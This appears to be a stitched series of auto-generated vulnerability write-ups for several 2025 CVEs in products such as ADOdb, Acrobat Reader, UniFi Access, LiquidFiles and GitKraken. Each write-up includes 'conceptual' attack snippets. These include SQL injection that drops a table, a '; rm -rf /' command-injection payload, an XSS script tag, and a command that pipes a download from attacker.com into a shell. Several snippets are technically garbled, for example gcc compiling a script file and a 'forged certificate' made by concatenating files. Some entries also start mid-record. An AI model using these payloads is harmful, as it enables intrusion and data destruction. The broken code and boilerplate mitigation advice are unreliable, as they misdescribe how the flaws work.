Vulnerability Summary

CVE ID: CVE-2025-54119
Severity: Critical (CVSS 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

ADOdb PHP Database Class Library | 5.22.9 and below

How the Exploit Works

The vulnerability arises due to improper escaping of a query parameter in the metaColumns(), metaForeignKeys() or metaIndexes() methods of the ADOdb library when connecting to a sqlite3 database. A malicious attacker can craft a specially designed table name that, when used in these methods, can lead to the execution of arbitrary SQL statements. This exploit can manipulate or extract data from the database, potentially leading to full system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

SELECT * FROM malicious_table_name'; DROP TABLE sensitive_data;--

In this example, the ‘malicious_table_name’ is the crafted table name that is passed into the vulnerable methods (metaColumns(), metaForeignKeys() or metaIndexes()). The crafted table name includes SQL syntax to drop a table named ‘sensitive_data’, demonstrating how an attacker could manipulate the database structure or data.

Recommended Mitigation Steps

The recommended solution to mitigate this vulnerability is to upgrade to ADOdb version 5.22.10, which contains a fix for this issue. In situations where an immediate upgrade is not feasible, consider implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure. However, these should not replace patching the vulnerability as they might not fully protect against all possible exploitation methods. Additionally, it is best practice to only pass controlled data to the metaColumns(), metaForeignKeys(), and metaIndexes() method’s $table parameter to prevent similar vulnerabilities.

Overview

In the ever-changing landscape of cybersecurity, vulnerabilities are constantly being discovered and patched. One such vulnerability that has come to light is CVE-2025-43573, affecting several versions of Acrobat Reader, a widely used software across the globe. This vulnerability could lead to arbitrary code execution, potentially compromising user systems or leading to unauthorized data leakage. Given the ubiquity of Acrobat Reader, this vulnerability could have a wide-ranging impact, necessitating immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-43573
Severity: High (CVSS Score: 7.8)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Arbitrary code execution potentially leading to system compromise or data leakage

Affected Products

Product | Affected Versions

Acrobat Reader | 24.001.30235
Acrobat Reader | 20.005.30763
Acrobat Reader | 25.001.20521

How the Exploit Works

The CVE-2025-43573 vulnerability arises due to a ‘Use After Free’ flaw in the affected versions of Acrobat Reader. In essence, this means that the software continues to use memory after it has been freed or deleted. This can lead to unexpected behavior, including the execution of arbitrary code.
In the case of this vulnerability, an attacker would have to craft a malicious file, which when opened by a victim using the vulnerable versions of Acrobat Reader, would trigger the flaw and allow the attacker to execute arbitrary code in the context of the current user. This could potentially result in a full system compromise or unauthorized data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might craft a malicious PDF to exploit this vulnerability:

# pseudo python code to create a malicious PDF
import PyPDF2
# Create a PDF object
malicious_pdf = PyPDF2.PdfFileWriter()
# Add malicious payload
payload = """
<insert malicious code here that triggers Use After Free vulnerability>
"""
malicious_pdf.addPage(payload)
# Save the PDF
with open("malicious.pdf", "wb") as f:
malicious_pdf.write(f)

In this pseudo-code example, the attacker crafts a malicious PDF that contains the code to trigger the ‘Use After Free’ vulnerability when opened in the vulnerable version of Acrobat Reader. The actual payload would be specific to the vulnerability and the attacker’s intended outcome (e.g., arbitrary code execution, data exfiltration).
Please note that the above is a conceptual example and is not intended to be used for malicious purposes. As a cybersecurity professional, it is our responsibility to understand these vulnerabilities to better protect our systems and data, not to exploit them.

Overview

A significant vulnerability, CVE-2025-43550, has been identified in multiple versions of Acrobat Reader. This vulnerability is a Use After Free flaw that can potentially lead to arbitrary code execution, posing serious security threats to users and systems. The issue is particularly concerning due to its ability to execute code in the context of the current user, which means it can potentially lead to system compromise or data leakage. This vulnerability is significant as Acrobat Reader is widely used across various industries and sectors, so its exploitation could have widespread impacts.

Vulnerability Summary

CVE ID: CVE-2025-43550
Severity: High (7.8 CVSS score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Arbitrary code execution, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Acrobat Reader | 24.001.30235
Acrobat Reader | 20.005.30763
Acrobat Reader | 25.001.20521

How the Exploit Works

The CVE-2025-43550 vulnerability in Acrobat Reader is a Use After Free vulnerability. In such vulnerabilities, the program continues to use a pointer after it has been freed. This can result in an attacker being able to execute arbitrary code. In this case, the victim must open a malicious file, which triggers the vulnerability and allows the attacker to execute code in the context of the current user.

Conceptual Example Code

In the context of the CVE-2025-43550 vulnerability, an attacker might craft a malicious PDF file and attempt to get the victim to open it in one of the vulnerable versions of Acrobat Reader. Conceptually, the malicious file might contain code like the following:

obj
<< /Type /Catalog
/Pages 2 0 R
/OpenAction 3 0 R
>>
endobj
3 0 obj
<< /Type /Action
/S /JavaScript
/JS (var malicious_code = "/* malicious code here */"; malicious_code.run();)
>>
endobj

Here, the `/JS` key contains JavaScript code that will be executed when the PDF file is opened. The `malicious_code.run();` line represents the execution of the attacker’s arbitrary code. Please note that this is a simplified, conceptual example and the actual exploit code would be more complex and specific.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation. Regularly updating security software and being cautious about opening files from unknown sources can also help prevent such exploits.

Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Dell Avamar | Versions prior to 19.12 with patch 338905, excluding version 19.10SP1 with patch 338904

How the Exploit Works

The vulnerability lies in the server-side HTTP permission method that Avamar trusts. An attacker with low-level privileges and remote access can exploit this vulnerability by sending crafted HTTP requests to the server. Since the server trusts these permission methods, it does not adequately verify the requests, leading to potential information exposure.

Conceptual Example Code

The vulnerability might be exploited using a simple HTTP request like the following:

POST /avamar-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "Exploit_Code_Here" }

In this example, the malicious payload would be carefully crafted to exploit the vulnerability, making the server execute actions that would lead to information exposure or potentially even full system compromise.

Recommendations for Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch (338905 for versions prior to 19.12, and 338904 for version 19.10SP1). In the absence of the patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could provide temporary mitigation by monitoring and blocking suspicious activities. However, it’s essential to apply the vendor patch as soon as possible to effectively eliminate the vulnerability.

Overview

The recent discovery of the CVE-2025-27212 vulnerability has raised significant concern within the cybersecurity community due to its high severity and the potential for extensive system compromise. This vulnerability specifically affects a range of UniFi Access devices, which could have serious implications for countless businesses and organizations that use these devices for access management. It is particularly alarming as it allows a malicious actor to carry out a command injection if they gain access to the UniFi Access management network.
This command injection vulnerability is a critical issue because it can potentially provide an attacker with the ability to execute arbitrary commands on the target system. This opens the door for other malicious activities such as unauthorized system modifications, data theft, and further system exploitation.

Vulnerability Summary

CVE ID: CVE-2025-27212
Severity: Critical (CVSS Score 9.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Product | Affected Versions

UniFi Access Reader Pro | Version 2.14.21 and earlier
UniFi Access G2 Reader Pro | Version 1.10.32 and earlier
UniFi Access G3 Reader Pro | Version 1.10.30 and earlier
UniFi Access Intercom | Version 1.7.28 and earlier
UniFi Access G3 Intercom | Version 1.7.29 and earlier
UniFi Access Intercom Viewer | Version 1.3.20 and earlier

How the Exploit Works

At a high level, this exploit takes advantage of improper input validation in certain UniFi Access devices. This flaw allows an attacker to inject malicious commands that the system then executes. To carry out this attack, a malicious actor would need access to the UniFi Access management network. This could be achieved through a variety of methods, including but not limited to, social engineering, network intrusion, or exploiting another vulnerability.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited. Note that the exact details of the exploit would vary depending on the specific circumstances and the attacker’s goals.

POST /unifi/access/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "command": "; rm -rf /" }

In this example, the attacker sends a POST request to a vulnerable endpoint on the target system. The request payload includes a command preceded by a semicolon, which in many command-line environments allows for command chaining. The command `rm -rf /` is a destructive command that, if executed, would delete all files on the target system.

Overview

In this post, we will explore the details of a critical security vulnerability, known as CVE-2025-46093, that affects versions of LiquidFiles prior to 4.1.2. This vulnerability enables FTPDrop users to gain root-level access and execute arbitrary code on affected systems by leveraging the Actionscript feature and sudoers configuration. Given the severity and potential ramifications, understanding this vulnerability is critical for IT security professionals, system administrators, and developers who work with or support LiquidFiles systems.

Vulnerability Summary

CVE ID: CVE-2025-46093
Severity: Critical (CVSS 9.9)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LiquidFiles | Before 4.1.2

How the Exploit Works

The vulnerability stems from LiquidFiles’ support for FTP SITE CHMOD for mode 6777 (setuid and setgid). This allows FTPDrop users to manipulate file permissions, ultimately enabling them to execute arbitrary code as root. They achieve this by exploiting the Actionscript feature and the sudoers configuration. Given the power associated with root-level access, successful exploitation of this vulnerability could lead to full system compromise, including unauthorized data access, data modification, or service disruption.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

# Log in to the FTP server
ftp target.example.com
# Change to the directory containing the file to exploit
cd /path/to/target/directory
# Change the mode of the file to 6777 using SITE CHMOD
SITE CHMOD 6777 targetfile
# Execute the script as root
echo "os.execute('sh')" > exploit.as && gcc -o exploit exploit.as
# Use sudo to run the exploit script
sudo ./exploit

This example demonstrates how an attacker could use FTP SITE CHMOD to change file permissions, compile an exploit script, and then execute this script as root. This is just a conceptual demonstration; the actual exploitation would involve more complex and specific steps depending on the exact system configuration and the attacker’s objectives.

Mitigation Guidance

To remediate this vulnerability, users are advised to update their LiquidFiles software to version 4.1.2 or later, which contains a patch for this security issue. If immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures only provide a stopgap solution and do not fully resolve the vulnerability. As such, patching should be carried out as soon as possible to fully protect systems from potential exploitation.

Overview

The vulnerability CVE-2025-51726 presents a significant security risk to users of the CyberGhostVPNSetup.exe Windows installer. The software is exposed to potential supply-chain style attacks and privilege escalation through fake installers due to its use of the weak cryptographic hash algorithm SHA-1 and the absence of High Entropy Address Space Layout Randomization (ASLR). SHA-1 is susceptible to collision attacks, enabling malicious actors to forge SHA-1 certificates and craft fake installers that could be validated by Windows signature verification mechanisms. This issue is particularly critical on systems without strict SmartScreen or trust policy enforcement.

Vulnerability Summary

CVE ID: CVE-2025-51726
Severity: High (8.4 CVSS score)
Attack Vector: Local network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

CyberGhost VPN | All versions prior to patch

How the Exploit Works

The exploit works by taking advantage of the weak SHA-1 cryptographic hash used by the CyberGhostVPNSetup.exe Windows installer. A malicious actor crafts a fake installer with a forged SHA-1 certificate, which can then be accepted by Windows signature verification mechanisms, especially on systems without strict SmartScreen or trust policy enforcement in place.
Moreover, the installer lacks High Entropy ASLR, which allows the binary to consistently load into predictable memory ranges. This predictability increases the success rate of memory corruption exploits. When these two vulnerabilities are combined, they significantly lower the bar for successful supply-chain style attacks or privilege escalation through fake installers.

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited. The malicious actor could potentially employ a shell command to generate a forged SHA-1 certificate and attach it to a malicious installer:

# Generate SHA-1 hash for malicious installer
echo -n "malicious_installer.exe" | openssl dgst -sha1 -binary | openssl enc -base64
# Craft malicious installer with forged certificate
copy /b malicious_installer.exe+fake_certificate.exe new_installer.exe

Please note that this is a simplified and conceptual demonstration. In a real-world scenario, the process would likely involve more complex steps and tools, and the exploitation would require significant technical knowledge and resources.

Mitigation Guidance

Users are strongly advised to apply the vendor patch as soon as it becomes available. Until then, they should consider implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure to reduce the risk of successful exploitation.

Affected Products

Product | Affected Versions

Unisite CMS | 5.0

How the Exploit Works

A stored Cross-Site Scripting (XSS) vulnerability is present in the “Report” functionality of Unisite CMS 5.0. This vulnerability is exploited when an attacker submits a malicious script that gets stored on the server. When an administrator views the “Report” section in the admin panel, the malicious script is rendered. This allows the attacker to hijack the admin session. Moreover, the attacker can leverage the template editor to upload and execute a PHP web shell on the server, leading to full remote code execution.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. The attacker submits a malicious script in the “Report” functionality that gets stored on the server:

POST /report HTTP/1.1
Host: unisiteCMS.example.com
Content-Type: text/html
{
"<script>malicious_code_here</script>"
}

When an admin views the report, the script executes, hijacking the admin session and potentially enabling remote code execution. This is why it is essential to patch this vulnerability immediately or implement WAF/IDS as a temporary mitigation measure.

Overview

In the realm of cybersecurity, it is essential to stay updated with the latest vulnerabilities that could potentially harm your systems. One such vulnerability, identified as CVE-2025-51387, has recently been discovered in GitKraken Desktop versions 10.8.0 and 11.1.0. This vulnerability, due to misconfigured Electron Fuses, could potentially lead to code injection, compromising the entire system or resulting in data leaks.
This vulnerability has a high severity impact, with a CVSS score of 9.8, indicating that the potential damage from exploitation is significant. This blog post aims to provide a comprehensive overview of this vulnerability, its potential impact, and the necessary mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-51387
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

GitKraken Desktop | 10.8.0
GitKraken Desktop | 11.1.0

How the Exploit Works

The vulnerability arises due to the insecure configuration of Electron Fuses in the GitKraken Desktop application. Specifically, the application allows the ‘RunAsNode’ setting to be enabled and does not disable the ‘EnableNodeCliInspectArguments’ setting. This configuration causes the application to run in Node.js mode, which might allow an attacker to pass arguments that lead to arbitrary code execution.
Furthermore, attackers can exploit this vulnerability by tricking legitimate users into executing malicious scripts, which can lead to full system compromise or potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example uses pseudocode to demonstrate a potential malicious command:

# On the attacker's machine
$ gitkraken --run-as-node --inspect=0.0.0.0:9229 -e "require('child_process').exec('curl http://attacker.com/malware | sh')"

In this example, the attacker manipulates the GitKraken Desktop application to run a Node.js script that downloads and executes a malicious script from the attacker’s server. Note that this is a simplified version meant primarily for illustration. Real-world exploits might be more complex and harder to detect.
Remember, the best way to protect against this vulnerability is by applying the latest patches from the vendor or using a web application firewall (WAF) or intrusion detection system (IDS) as a temporary measure.
